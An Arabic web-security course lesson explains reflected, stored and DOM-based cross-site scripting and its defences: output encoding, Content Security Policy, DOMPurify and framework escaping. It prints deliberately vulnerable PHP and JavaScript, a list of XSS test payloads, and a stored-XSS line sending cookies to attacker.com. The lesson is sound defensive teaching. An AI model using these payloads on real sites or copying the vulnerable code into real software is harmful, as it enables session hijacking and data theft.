الأمان والأداء

البرمجة النصية عبر المواقع (XSS)

18 دقيقة الدرس 2 من 35

البرمجة النصية عبر المواقع (XSS)

البرمجة النصية عبر المواقع (XSS) هي واحدة من أكثر ثغرات تطبيقات الويب شيوعًا وخطورة. تحدث هجمات XSS عندما يقوم المهاجم بحقن برامج نصية ضارة في صفحات الويب التي يشاهدها مستخدمون آخرون. تُنفذ هذه البرامج النصية في متصفح الضحية، مما قد يؤدي إلى سرقة ملفات تعريف الارتباط أو رموز الجلسة أو معلومات حساسة أخرى، أو تنفيذ إجراءات نيابة عن الضحية.

فهم XSS

تنشأ ثغرات XSS عندما تتضمن التطبيقات بيانات غير موثوقة في صفحات الويب دون التحقق من الصحة أو الهروب المناسب. لا يستطيع المتصفح التمييز بين البرامج النصية الشرعية من التطبيق والبرامج النصية الضارة المحقونة بواسطة المهاجم، لذلك ينفذ كليهما.

تحذير: يتم تصنيف XSS باستمرار في OWASP Top 10. وفقًا لتقارير الأمان، توجد ثغرات XSS في ما يقرب من ثلثي جميع التطبيقات.

أنواع هجمات XSS

1. XSS المنعكس (غير المستمر)

يحدث XSS المنعكس عندما تنعكس البرامج النصية الضارة عن خادم الويب، عادةً من خلال معلمات URL أو عمليات إرسال النماذج. يقوم المهاجم بصياغة URL ضار وخداع الضحية للنقر عليه.

مثال على الكود المعرض للخطر:
<?php
// معرض لـ XSS المنعكس
echo "نتائج البحث عن: " . $_GET['search'];
?>

URL ضار:
https://example.com/search?search=<script>alert(document.cookie)</script>

عندما ينقر الضحية على هذا الرابط، يتم تنفيذ البرنامج النصي في متصفحه.
ملاحظة: يتطلب XSS المنعكس من المهاجم تسليم الحمولة الضارة إلى الضحية، غالبًا من خلال رسائل البريد الإلكتروني التصيدية أو الروابط الضارة على مواقع الويب الأخرى.

2. XSS المخزن (المستمر)

يحدث XSS المخزن عندما يتم تخزين البرامج النصية الضارة بشكل دائم على الخادم المستهدف (في قاعدة بيانات، منتدى رسائل، حقل تعليق، إلخ) ويتم تقديمها لاحقًا للمستخدمين الآخرين. هذا عموماً أكثر خطورة من XSS المنعكس لأنه لا يتطلب من المهاجم تسليم الحمولة مباشرة إلى الضحايا.

مثال على الكود المعرض للخطر:
<?php
// تخزين تعليق المستخدم دون تنظيف
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");

// لاحقًا، عرض التعليقات دون هروب
$comments = $db->query("SELECT text FROM comments");
foreach ($comments as $comment) {
echo $comment['text']; // خطير!
}
?>

يقدم المهاجم:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

يتم الآن تنفيذ هذا البرنامج النصي لكل مستخدم يشاهد التعليقات.
تحذير: يمكن أن يؤثر XSS المخزن على مستخدمين متعددين تلقائيًا دون الحاجة إلى أي هندسة اجتماعية من المهاجم. إنه خطير بشكل خاص في التطبيقات التي تحتوي على العديد من المستخدمين، مثل الشبكات الاجتماعية أو المنتديات.

3. XSS القائم على DOM

يحدث XSS القائم على DOM عندما يقوم كود JavaScript من جانب العميل بمعالجة البيانات من مصدر غير موثوق (مثل URL) ويكتبها مرة أخرى إلى DOM بطريقة غير آمنة. توجد الثغرة بالكامل في كود جانب العميل، وقد لا يتم إرسال الحمولة الضارة أبدًا إلى الخادم.

مثال على JavaScript المعرض للخطر:
// معرض لـ XSS القائم على DOM
const urlParams = new URLSearchParams(window.location.search);
const message = urlParams.get('message');
document.getElementById('output').innerHTML = message; // خطير!

URL ضار:
https://example.com/page?message=<img src=x onerror="alert(document.cookie)">

يتم تنفيذ الحمولة عندما يكتب JavaScript إلى innerHTML.
نصيحة: يمكن أن يكون اكتشاف XSS القائم على DOM أصعب لأن أدوات الأمان التقليدية التي تحلل فقط كود جانب الخادم لن تلتقطه. استخدم أدوات المطورين في المتصفح وأدوات المسح الأمني من جانب العميل.

تقنيات منع XSS

1. ترميز/هروب الإخراج

الدفاع الأساسي ضد XSS هو ترميز بيانات الإخراج بناءً على السياق الذي سيتم استخدامه فيه. تتطلب السياقات المختلفة مخططات ترميز مختلفة:

سياق HTML:
<?php
// آمن: ترميز كيان HTML
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
?>

سياق JavaScript:
<script>
// آمن: ترميز JSON
const userName = <?php echo json_encode($userName); ?>;
</script>

سياق URL:
<a href="<?php echo urlencode($userInput); ?>">رابط</a>

سياق CSS:
<style>
body { background: <?php echo preg_replace('/[^a-zA-Z0-9#]/', '', $color); ?>; }
</style>
ملاحظة: دائمًا قم بترميز الإخراج، وليس الإدخال. يمكن أن يؤدي ترميز الإدخال إلى مشكلات ترميز مزدوجة ولا يحمي من XSS المخزن حيث قد يتم استخدام البيانات في سياقات متعددة.

2. سياسة أمان المحتوى (CSP)

CSP هي ميزة أمان المتصفح التي تساعد في منع XSS من خلال السماح لك بتحديد مصادر المحتوى الموثوقة. يتم تنفيذه كرأس HTTP.

رأس CSP الأساسي:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline';

CSP صارم مع nonce:
Content-Security-Policy: script-src 'nonce-random123';

HTML:
<script nonce="random123">
// فقط البرامج النصية ذات nonce المطابق ستنفذ
</script>

تنفيذ PHP:
<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-$nonce'");
?>
<script nonce="<?php echo $nonce; ?>">
// برنامج نصي مضمن آمن
</script>
نصيحة: ابدأ بـ CSP في وضع التقرير فقط لتحديد البرامج النصية الشرعية التي سيتم حظرها: Content-Security-Policy-Report-Only. يساعدك هذا في تحسين سياستك قبل التنفيذ.

3. التحقق من صحة المدخلات

بينما يعد ترميز الإخراج هو الدفاع الأساسي، يوفر التحقق من صحة المدخلات طبقة أمان إضافية من خلال رفض المدخلات الضارة بوضوح:

<?php
// التحقق من القائمة البيضاء للتنسيق المتوقع
function validateEmail($email) {
return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

// رفض المدخلات التي تحتوي على علامات برنامج نصي
function containsScript($input) {
return preg_match('/<script[^>]*>.*?<\/script>/is', $input) === 1;
}

if (containsScript($_POST['comment'])) {
die('تم اكتشاف إدخال غير صالح');
}
?>
تحذير: التحقق من صحة المدخلات وحده غير كافٍ لمنع XSS. يمكن للمهاجمين تجاوز المرشحات باستخدام الترميز أو العلامات البديلة أو معالجات الأحداث. دائمًا اجمع بين التحقق من صحة المدخلات وترميز الإخراج.

4. استخدام واجهات برمجة التطبيقات الآمنة

توفر أطر عمل الويب الحديثة وواجهات برمجة تطبيقات JavaScript بدائل أكثر أمانًا للوظائف الخطرة:

// غير آمن: innerHTML يسمح بتنفيذ البرنامج النصي
element.innerHTML = userInput; // خطير!

// آمن: textContent يدرج النص فقط، وليس HTML
element.textContent = userInput; // آمن

// آمن: createElement مع textContent
const div = document.createElement('div');
div.textContent = userInput;
parentElement.appendChild(div);

// لإدراج HTML موثوق، استخدم DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

5. مكتبة DOMPurify

DOMPurify هو معقم XSS قوي لـ HTML وMathML وSVG. إنه مفيد بشكل خاص عندما تحتاج إلى السماح ببعض تنسيق HTML ولكنك تريد إزالة العناصر الخطرة:

// استخدام DOMPurify في JavaScript
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.0/dist/purify.min.js"></script>
<script>
const dirty = '<p>مرحبًا <script>alert(1)</script></p>';
const clean = DOMPurify.sanitize(dirty);
// النتيجة: <p>مرحبًا </p>

// مع خيارات للسماح بعلامات محددة
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href']
});
</script>

// من جانب الخادم مع PHP (باستخدام HTMLPurifier)
<?php
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($dirty);
?>

الحماية الخاصة بالإطار

غالبًا ما تتضمن أطر عمل الويب الحديثة حماية XSS مدمجة:

// React: يهرب تلقائيًا بشكل افتراضي
const element = <div>{userInput}</div>; // آمن
// خطير (فقط إذا كنت تستخدمه صراحة):
const element = <div dangerouslySetInnerHTML={{__html: userInput}} />;

// Vue.js: استيفاء النص آمن
<div>{{ userInput }}</div> <!-- آمن -->
<div v-html="userInput"></div> <!-- خطير -->

// Laravel Blade: يهرب بشكل افتراضي
{{ $userInput }} <!-- آمن، مهروب -->
{!! $userInput !!} <!-- خطير، غير مهروب -->

// Angular: يعقم بشكل افتراضي
<div>{{ userInput }}</div> <!-- آمن -->
<div [innerHTML]="userInput"></div> <!-- معقم بشكل افتراضي -->
ملاحظة: حتى مع حماية الإطار، يمكن للمطورين تعطيلها لحالات محددة. كن حذرًا دائمًا عند استخدام طرق الإخراج "غير الآمنة" أو "الخام" وتأكد من أن لديك سببًا وجيهًا وتعقيمًا مناسبًا.

اختبار ثغرات XSS

يساعد الاختبار المنتظم في تحديد ثغرات XSS قبل أن يستغلها المهاجمون:

حمولات اختبار XSS الأساسية:
1. <script>alert('XSS')</script>
2. <img src=x onerror="alert('XSS')">
3. <svg onload="alert('XSS')">
4. '"><script>alert(String.fromCharCode(88,83,83))</script>
5. javascript:alert('XSS')

اختبار XSS القائم على DOM:
https://example.com/page?param=<script>alert(document.domain)</script>

اختبار XSS المخزن:
أرسل: <script>alert(document.cookie)</script>
ثم تحقق مما إذا كان ينفذ عند عرض المحتوى المخزن.
تمرين: أنشئ نظام تعليقات بسيط بالمتطلبات التالية:
1. اسمح للمستخدمين بإرسال تعليقات مع تنسيق HTML أساسي (غامق، مائل، روابط)
2. نفذ منع XSS المناسب باستخدام DOMPurify
3. أضف رأس سياسة أمان المحتوى
4. اختبر مع 5 حمولات XSS مختلفة على الأقل
5. وثق طبقات الحماية التي منعت كل هجوم

مكافأة: نفذ وظائف التعليق المنعكس والمخزن، واختبر كل منهما بشكل منفصل.

تأثير XSS في العالم الحقيقي

يمكن أن تؤدي هجمات XSS إلى عواقب وخيمة:

  • اختطاف الجلسة: سرقة ملفات تعريف ارتباط الجلسة لانتحال شخصية المستخدمين
  • سرقة بيانات الاعتماد: إنشاء نماذج تسجيل دخول مزيفة لالتقاط كلمات المرور
  • توزيع البرامج الضارة: إعادة توجيه المستخدمين إلى مواقع ضارة
  • تسريب البيانات: الوصول إلى المعلومات الحساسة وسرقتها
  • تشويه الموقع: تغيير محتوى الصفحة
  • تعدين العملات المشفرة: استخدام متصفحات الزوار لتعدين العملات المشفرة
تحذير: في عام 2018، عانت الخطوط الجوية البريطانية من خرق بيانات من خلال XSS كشف 380,000 تفاصيل بطاقة دفع. تم تتبع الهجوم إلى مكتبة JavaScript تابعة لجهة خارجية تم اختراقها.

الخلاصة

يظل XSS أحد أكثر ثغرات الويب انتشارًا. فهم الأنواع الثلاثة - المنعكس والمخزن والقائم على DOM - أمر بالغ الأهمية للحماية الشاملة. تشمل استراتيجية الدفاع طبقات متعددة: ترميز الإخراج للسياق المحدد، رؤوس سياسة أمان المحتوى، التحقق من صحة المدخلات، استخدام واجهات برمجة التطبيقات الآمنة، والاستفادة من مكتبات التعقيم مثل DOMPurify. فضل دائمًا آليات الهروب التي يوفرها الإطار واختبر بدقة مع حمولات هجوم واقعية.

الخطوات التالية: في الدرس التالي، سنستكشف هجمات حقن SQL وحقن NoSQL، ونتعلم كيفية حماية قواعد البيانات الخاصة بك من الوصول غير المصرح به والتلاعب.